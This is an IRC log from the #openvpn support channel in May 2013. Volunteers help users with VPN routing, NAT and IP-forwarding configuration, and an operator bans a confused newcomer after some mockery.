19:58 -!- ZitZ [~paul@h23.172.101.208.dynamic.ip.windstream.net] has quit [Read error: Operation timed out]
19:58 < srg> it's run by volenteers, so they don't really have support. but I have confirmations from other users that their vpn is working fine
19:59  * srg shrugs
20:00 < MagisterQuis> SDF :)
20:00 < MagisterQuis> I didn't know they did that.
20:00 < MagisterQuis> Neat.
20:00 < MagisterQuis> Last thing of theirs I used was the minecraft server.
20:01 < srg> ah, yeah, they have a VPN service too
20:01 < srg> I wanna use it to host my server on a static IP instead of my ISPs dynamic IP
20:07 -!- Eryn_1983_Fl [~Eryn_1983@142.196.77.149] has left #openvpn ["WeeChat 0.3.2"]
20:20 -!- ZitZ1 [~paul@h246.163.101.208.dynamic.ip.windstream.net] has quit [Quit: Leaving.]
20:22 -!- Devastator- [~devas@177.18.198.50] has joined #openvpn
20:22 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
20:25 -!- Devastator [~devas@177.18.198.240] has joined #openvpn
20:26 -!- Devastator- [~devas@177.18.198.50] has quit [Ping timeout: 256 seconds]
20:27 -!- Devastator [~devas@177.18.198.240] has quit [Read error: Connection reset by peer]
20:34 -!- Devastator [~devas@177.18.196.250] has joined #openvpn
20:34 -!- Devastator [~devas@177.18.196.250] has quit [Read error: Connection reset by peer]
20:36 -!- Devastator [~devas@177.18.196.250] has joined #openvpn
20:39 -!- MagisterQuis1 [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has joined #openvpn
20:39 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Read error: Connection reset by peer]
21:05 -!- JAVACODER [~JAVACODER@2.190.47.113] has joined #openvpn
21:05 -!- master_of_master [~master_of@p4FF248CD.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- Devastator [~devas@177.18.196.250] has quit []
21:08 -!- master_o1_master [~master_of@p4FF244FB.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
21:12 -!- Devastator [~devas@186.214.110.79] has joined #openvpn
21:12 -!- Devastator [~devas@186.214.110.79] has quit [Changing host]
21:12 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:04 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 256 seconds]
22:15 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
22:29 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 246 seconds]
23:29 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
23:43 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
--- Day changed Sun May 26 2013
00:47 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
00:48 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 246 seconds]
00:53 -!- matsh_ [divine@nanogene.org] has joined #openvpn
00:53 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
00:54 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Write error: Broken pipe]
00:54 -!- lmm [uid6417@gateway/web/irccloud.com/x-cdygmhhdrxqapkot] has quit [Ping timeout: 361 seconds]
00:54 -!- matsh [divine@nanogene.org] has quit [Remote host closed the connection]
00:54 -!- matsh_ is now known as matsh
00:55 -!- gardar_ [~gardar@gardar.net] has quit [Excess Flood]
00:55 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Remote host closed the connection]
00:55 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:55 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-depknxkrnsnrarqq] has joined #openvpn
01:00 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
01:00 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
01:04 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
01:04 -!- phunyguy_ [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
01:05 -!- phunyguy_ is now known as phunyguy
01:52 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
01:54 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
02:29 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
02:34 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
03:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:19 -!- novaflash is now known as novaflash_away
06:37 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 256 seconds]
06:42 -!- francobruni [~francobru@host56-129-dynamic.9-79-r.retail.telecomitalia.it] has joined #openvpn
06:45 < francobruni> hi there, I need some help with configuring openvpn on a mac
06:45 < francobruni> I'm a linux user and don't know mac at all
06:45 < francobruni> actually I need openvpn on windows virtualized in parallels
06:46 < francobruni> the openvpn configuration in virtualized windows is not working so I'm trying tunnelblick (mac client for openvpn)
06:46 < francobruni> where to start to get some help?
06:50 < nohitall> #openvpn
06:50 < nohitall> ups, wrong chat
06:58 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 246 seconds]
07:01 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
07:01 < francobruni> nohitall: I hoped that there's some mac user here, there isn't any chat room for tunnelblick
07:03 < nohitall> so you need openvpn tunnel from a win in vm?
07:04 -!- novaflash_away is now known as novaflash
07:05 < francobruni> yes
07:05 < francobruni> I've configured the network of vm as shared
07:05 < nohitall> vmware, vbox? what u using
07:05 < nohitall> using NAT?
07:06 < nohitall> if there is a #macosx or something probably try there too
07:06 < francobruni> parallels
07:07 < nohitall> ok the client runs in the vm too correct?
07:07 < nohitall> the openvpn client
07:08 < nohitall> so you wanna tunnel all VM traffic through a VPN tunnel?
07:09 < francobruni> wait… it seems that it's working now.. very weird, let me check more..
07:14 < nohitall> francobruni: http://superuser.com/questions/411582/how-to-route-traffic-from-vm-parallels-over-an-open-vpn-connection-on-the-host
07:14 <@vpnHelper> Title: virtual machine - How to route traffic from VM (Parallels) over an Open VPN connection on the host (OS X) - Super User (at superuser.com)
07:15 < nohitall> krzee: thx again for yesterday
07:17 -!- acuzio [~acuzio@unaffiliated/acuzio] has left #openvpn []
07:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:25 < francobruni> yes, it's working now, maybe it's just a problem of time to get the routing? it finally works but it takes almost a minute.. how can I increase the time?
07:26 < francobruni> in the log I see a lot of these lines: "Route: Waiting for TUN/TAP interface to come up."
07:27 < francobruni> after 40 seconds I see "Route addition via IPAPI succeeded"
07:28 < nohitall> francobruni: try "route-delay" to client config
07:29 < nohitall> is the client in the win vm or on the host?
07:39 < francobruni> nohitall: yes, route-delay seems just what I need, thank you!
07:39 < francobruni> nohitall: the client is in the win vm
07:43 < nohitall> cool, if its not helping check out https://pandapow.co/how-to/waiting-for-tap/
07:43 <@vpnHelper> Title: Windows OpenVPN error: Waiting for TAP | PandaPow (at pandapow.co)
07:43 < nohitall> several solutions
07:43 < nohitall> also openvpn forum provides several threads with similar problem
07:51 -!- francobruni [~francobru@host56-129-dynamic.9-79-r.retail.telecomitalia.it] has quit [Quit: francobruni]
07:53 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has joined #openvpn
07:54 < flobro> !welcome
07:54 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:54 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:54 < flobro> !redirect
07:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
07:54 <@vpnHelper> http://ircpimps.org/redirect.png
07:55 < flobro> !nat
07:55 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
07:55 < flobro> !fbsdnat
07:55 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
07:55 < flobro> beautiful, thanks to whoever set that up
08:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
08:05 < MagisterQuis1> !obsdnat
08:05 <@vpnHelper> "obsdnat" is pass out on $ext_if from $vpn_network to any nat-to <IP ADDRESS>
08:05 < MagisterQuis1> Oo
08:05 -!- MagisterQuis1 [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has quit [Changing host]
08:05 -!- MagisterQuis1 [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
08:05 -!- MagisterQuis1 is now known as MagisterQuis
08:08 < flobro> !ipforward
08:08 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
08:08 < flobro> !fbsdipforward
08:08 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
08:13 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
08:25 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
08:35 -!- francobruni [~francobru@host56-129-dynamic.9-79-r.retail.telecomitalia.it] has joined #openvpn
08:40 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
08:43 -!- francobruni [~francobru@host56-129-dynamic.9-79-r.retail.telecomitalia.it] has left #openvpn []
08:51 -!- xbanux1 [~xbanux@triband-mum-59.182.169.130.mtnl.net.in] has joined #openvpn
09:08 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
09:10 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
09:26 <@krzee> =]
09:27 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
09:27 < nohitall> krzee: I helped someone, I repaid hehe
09:27 <@krzee> i saw that, well done!
09:29 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
09:30 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
09:37 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
09:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:38 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
09:40 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:47 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
10:03 -!- xbanux1 [~xbanux@triband-mum-59.182.169.130.mtnl.net.in] has quit []
10:03 -!- s7r1 [~s7r@82.137.13.227] has joined #openvpn
10:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
10:06 -!- s7r1 [~s7r@82.137.13.227] has left #openvpn []
10:34 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
10:38 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-chwyyhhaptysuwup] has quit [Read error: Operation timed out]
10:40 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-zqaetpmxofsmhmcm] has quit [Ping timeout: 264 seconds]
10:41 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Quit: as black as the night can get, everything is safer now, there's always a way to forget, once you learn to find a way how, in the blur of serenity, where did everything get lost? the flowers of naivete, buried in a layer of frost]
11:04 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
11:04 -!- ngharo_ [~ngharo@hacked.thegov.us] has joined #openvpn
11:04 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
11:06 -!- kubbing_ [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has joined #openvpn
11:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Operation timed out]
11:09 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
11:14 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
11:17 -!- Netsplit *.net <-> *.split quits: kloeri, brad, ngharo, magoo_, clu5ter, kevinsky
11:22 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
11:25 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-xxolsdlmrjlskvia] has joined #openvpn
11:30 -!- kloeri_ is now known as kloeri
11:38 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
11:38 -!- brad [~brad@ninja.so] has joined #openvpn
11:40 -!- kubbing_ [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:44 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has joined #openvpn
12:03 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
12:08 -!- kieron-laptop [~kieron-la@2.29.141.36] has joined #openvpn
12:09 < kieron-laptop> hallo
12:09 < kieron-laptop> i want to connet to the internet using vpn
12:10 <@krzee> http://big.assets.huffingtonpost.com/cotton-candy-backwards.gif
12:10 < kieron-laptop> huh
12:10 <@krzee> !redirect
12:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:10 <@vpnHelper> http://ircpimps.org/redirect.png
12:10 < EugeneKay> I like it.
12:11 < kieron-laptop> ok im a little new to this so can you say all that but a little less smart
12:12 < kieron-laptop> hallo
12:12 < kieron-laptop> anyone their
12:12 <@krzee> !howto
12:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:12 <@krzee> first just try to get a vpn up
12:13 < kieron-laptop> ok im in mint atm
12:13 <@krzee> once you can ping the vpn ip over the vpn, then you can worry about routing over the internet
12:14 < kieron-laptop> ok so do i need to connect to a wireless network to use vpn
12:14 < kieron-laptop> say this is the server
12:15 < kieron-laptop> and my pc is the client
12:15 <@krzee> !101
12:15 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
12:15 < kieron-laptop> do i connect via vpn or wireless
12:16 <@krzee> thats not even a valid question
12:16 < kieron-laptop> please dont a    around
12:16 <@krzee> but its not
12:16 <@krzee> a vpn does not somehow become your ISP
12:17 < kieron-laptop> so thats a yes
12:17 <@krzee> you must be on the internet to connect to a vpn, and if you felt you needed to ask that i do not think you are ready for advanced networking
12:17 <@krzee> it wasnt even a "yes" / "no" question!
12:18 < kieron-laptop> yea it was
12:18 <@krzee> kieron-laptop> do i connect via vpn or wireless
12:18 < kieron-laptop> yes
12:18 < kieron-laptop> that was the question
12:18 <@krzee> also, it is possible to connect to the internet without wireless
12:19 < kieron-laptop> is vpn one of them
12:19 <@krzee> !vpn
12:19 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
12:19 <@krzee> read that
12:19 < kieron-laptop> ok ill read that
12:21 < kieron-laptop> so vpn is a type of network
12:21 < kieron-laptop> so you can access the internet aslong as one of the computers is connected to the net
12:22 <@krzee> you should go here:
12:22 <@krzee> !as
12:22 < kieron-laptop> vpn is basicly a big massive router
12:22 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:22 <@krzee> cause you are totally not ready to do it yourself, i suggest that app, it will do it for you
12:22 < kieron-laptop> right so that answers my question
12:23 < kieron-laptop> next is do you have to pay for it or is it free
12:25 < kieron-laptop> ok we'll skip that question
12:26 < kieron-laptop> is their any destict program i need to run vpn
12:26 < kieron-laptop> cos im only running mint
12:26 < MagisterQuis> kieron-laptop: Let's start at the beginning.  Why do you want a VPN?
12:26 < kieron-laptop> to access the internet
12:27 < kieron-laptop> from westcliff to southend
12:27 <@krzee> congratulations, you are on the internet!
12:27 <@krzee> now go to #openvpn-as
12:27 < kieron-laptop> hey was i asking you
12:27 < kieron-laptop> dont be mean
12:29 < kieron-laptop> magisterquis
12:30 <@krzee> im being nice by informing you that you are about to waste months of your life and can save your hair from being pulled out by using #openvpn-as
12:30 <@krzee> you dont want to hear it, which is why you think it is not nice
12:31 < MagisterQuis> What is access server?
12:31 < kieron-laptop> who me or krzee
12:31 <@krzee> the corporate app made for people to not need to be network techs to use openvpn
12:31 <@krzee> aka, made for him ^
12:32 <@krzee> you can have your setup up and running very soon with AS, i predict months of learning / bothering people to spoonfeed without it.
12:32 < kieron-laptop> hey im only asking a few questions
12:33 <@krzee> im giving you advice!
12:33 <@krzee> i didnt ban you or anything, im trying to help you
12:33 < kieron-laptop> all i wanna know is can my connect to it from a distance and is it free
12:33 <@krzee> ask in their channel!
12:33 < kieron-laptop> i aint fussed about how to set it up
12:34 < kieron-laptop> right
12:34 <@krzee> any questions about AS belong there, i dont know anything about their license stuff
12:34 < MagisterQuis> kieron-laptop: I think you should probably start out by figuring out what a VPN is and if you actually need it.
12:35 < kieron-laptop> well so for from brains their
12:37 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
12:38 < kieron-laptop> its a network that you can connect to that allows you to use the internet from your home
12:38 <@krzee> no, very much no
12:38 < MagisterQuis> Well, hang on.
12:38 < MagisterQuis> It can.
12:38 < MagisterQuis> That's a use case.
12:39 <@krzee> you must be using the internet to use the vpn
12:39 <@krzee> if you are home without the internet, no vpn will help
12:39 < MagisterQuis> I took it to mean "it tunnels your internet connection through your home network."
12:40 < kieron-laptop> i thought you can use it throughout a net station
12:40 < kieron-laptop> if its set up with vpn
12:40 < MagisterQuis> What's a net station?
12:40 <@krzee> oh, still no.  routing and NAT do most of that, a vpn simply encrypts your connection between 2 endpoints
12:40 <@krzee> what you then do on top of that is your business
12:40 < MagisterQuis> Let's step back further.
12:40 < kieron-laptop> its a central hub that connects all houses to the net
12:40 -!- intransit [intransit@cpe-68-173-27-87.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
12:40 < MagisterQuis> kieron-laptop: What are you trying to accomplish?
12:41 < kieron-laptop> internet in my dads workshop
12:41 < kieron-laptop> he hasnt got internet their so he wanted to use vpn to connect to here
12:41 <@krzee> :D
12:41 < MagisterQuis> Ah.
12:42 < MagisterQuis> Does he have any sort of network connection?
12:42 < kieron-laptop> what their no
12:42 < MagisterQuis> Ok.
12:42 <@krzee> i guess i read it right earlier
12:42 < MagisterQuis> I guess you did.
12:42 < MagisterQuis> Wow.
12:42 <@krzee> krzee> you must be using the internet to use the vpn
12:43 < kieron-laptop> on both
12:43 <@krzee> EVERYTHING
12:43 <@krzee> its a network application
12:43 < MagisterQuis> Yeah.
12:43 <@krzee> not a magic isp
12:43 < kieron-laptop> right
12:43 < kieron-laptop> i see now
12:43 < MagisterQuis> You must have a connection to the internet to use anything.
12:43 < MagisterQuis> Try wifi.
12:43 < kieron-laptop> theirs none
12:43 < kieron-laptop> well
12:44 < kieron-laptop> not any he can use
12:44 < MagisterQuis> So, where's the nearest internet connection?
12:44 < kieron-laptop> theirs bt-wifi
12:44 < MagisterQuis> And, this is getting off-topic.
12:45 <@krzee> its started off topic, because it turns out a vpn does not do what you want
12:45 <@krzee> well it was on topic to find that out
12:45 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has joined #openvpn
12:46 < MagisterQuis> It started on topic.
12:46 < kieron-laptop> right so i cant use my internet from their via vpn
12:46 < MagisterQuis> kieron-laptop: How do you think a VPN will help?
12:46 <@krzee> you must be online to use a vpn
12:47 <@krzee> EVER
12:47 < MagisterQuis> Now all that's left to determine is if we're dealing with a language barrier, a troll, or a rock.
12:47 <@krzee> i was sure of #2 around his 2nd line
12:47 <@krzee> haha
12:47 < kieron-laptop> well i thought i could use the net stations to carry through vpn to my internet here
12:48 -!- novaflash is now known as novaflash_away
12:48 < MagisterQuis> Could be a combination of 1 and 3.
12:48 < kieron-laptop> obviously you can
12:48 < MagisterQuis> It happens, too.
12:48 < MagisterQuis> 1, 3, and not realizing one or both.
12:48 -!- mode/#openvpn [+b *!*kieron-la@2.29.141.*] by krzee
12:48 -!- kieron-laptop was kicked from #openvpn by krzee [sorry dude, a vpn wont help you]
12:48 < MagisterQuis> Solution :)
12:48 < MagisterQuis> D
12:48 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ziilyxwxwggafawy] has joined #openvpn
12:48 <@krzee> and msgs will come in 3? 2? 1...
13:03 < MagisterQuis> Did they?
13:03 <@krzee> nope, normally do
13:03 < nohitall> krzee: didn know u an op
13:05 < jzaw> !ping
13:05 <@vpnHelper> pong
13:05 -!- novaflash_away is now known as novaflash
13:07 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:11 -!- junix659 [~ameyer@71-81-141-178.dhcp.stls.mo.charter.com] has quit [Read error: Connection reset by peer]
13:19 -!- ThePeach [~peach@31.221.75.61] has joined #openvpn
13:19 < ThePeach> hi all
13:21 < ThePeach> I've got a problem: I've got a server that provides a routed openvpn connection, on one of the machine's ips I've got apache listening. What would I need to do in order to let clietns connecting via ovpn to access apache?
13:22 < ThePeach> or is the only solution to use a bridged connection?
13:22 < MagisterQuis> On one of what servers?
13:23 < ThePeach> same server that provides the ovpn service
13:24 < ThePeach> the server has apache listening to one of the physical addresses, and provides a routed openvpn connection as well
13:25 <@krzee> run apache on the vpn ip
13:25 < ThePeach> I'm starting to think the bridged connection would be only solution...
13:25 <@krzee> *done*
13:25 <@krzee> no, DEFINITELY dont need a bridge
13:25 < ThePeach> well unless the webserver is needed on the other ip as well to serve the local clients
13:26 < ThePeach> ?
13:26 <@krzee> you can have the same page be accessed by multiple ips
13:26 <@krzee> however, you could also just push the route
13:26 <@krzee> push "route 192.168.69.69 255.255.255.255"
13:27 <@krzee> assuming 192.168.69.69 is the ip on the server that needs to be routed over the vpn
13:27 < ThePeach> ok
13:27 < ThePeach> let's try
13:28 <@krzee> oh and your server needs ip forwarding enabled
13:28 <@krzee> assuming linux:
13:28 <@krzee> !linipforward
13:28 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:28 < MagisterQuis> !obsdipforward
13:28 < MagisterQuis> Figures.
13:29 <@krzee> haha
13:32 < EugeneKay> !ipforward
13:32 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:32 < EugeneKay> Odd.
13:33 < EugeneKay> !blame
13:33 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
13:35 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
13:37 < ThePeach> yep
13:37 < ThePeach> worked, thank u krzee
13:39 -!- ngharo_ is now known as ngharo
13:52 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has joined #openvpn
13:52 < pycoderf> hi all. i am setting up a server and i think it is set. however i want to vpn from my android but it expects a .ovpn file. how do i make this?
13:52 < MagisterQuis> mv *.conf *.ovpn
13:56 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
13:56 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has joined #openvpn
13:58 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
14:00 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:00 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
14:02 < pycoderf> so i have the port forwarded to my server and the matching port is in server.conf
14:02 < pycoderf> but i cant seem to get connected
14:02 < EugeneKay> !logs
14:02 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:02 < EugeneKay> Try connecting from another machine first, rather than an Android device
14:03 -!- kubbing [~kubbing@ip-89-177-146-171.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
14:04 < pycoderf> i cannot find the file i told it to log to but i sfound its due to the openvpn application not even starting on my server
14:06 < EugeneKay> How are you starting it?
14:06 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
14:07 < pycoderf> initd
14:08 < pycoderf> EugeneKay: here is my server.conf http://pastebin.com/SHbviCXm
14:14 < pycoderf> does anyone see anyting wrong there
14:22 -!- JAVACODER_ [~JAVACODER@2.190.40.10] has joined #openvpn
14:23 -!- JAVACODER [~JAVACODER@2.190.47.113] has quit [Ping timeout: 248 seconds]
14:23 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Quit: leaving]
14:32 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has joined #openvpn
14:35 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has quit [Quit: KVIrc 4.0.4 Insomnia http://www.kvirc.net/]
14:40 -!- BluesKaj [~kaj@unaffiliated/blueskaj] has quit [Quit: Konversation terminated!]
14:52 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
15:16 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
15:28 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Connection reset by peer]
15:37 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 264 seconds]
15:38 -!- ThePeach [~peach@31.221.75.61] has left #openvpn []
15:42 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
15:51 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Max SendQ exceeded]
15:52 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
15:55 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:11 -!- JAVACODER_ [~JAVACODER@2.190.40.10] has quit [Ping timeout: 276 seconds]
16:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:49 -!- Zenum [~Ollie@unaffiliated/zenum] has quit [Ping timeout: 248 seconds]
16:54 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
17:06 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Quit: Nettalk6 - www.ntalk.de]
17:11 -!- p3rror [~p3rror@41.140.229.158] has joined #openvpn
17:38 -!- wildwind [~art@198.49.66.172] has joined #openvpn
17:42 -!- wildwind [~art@198.49.66.172] has left #openvpn []
17:43 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:09 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:13 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
18:15 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:780d:8664:2def:1e09] has joined #openvpn
18:15 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:780d:8664:2def:1e09] has quit [Changing host]
18:15 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
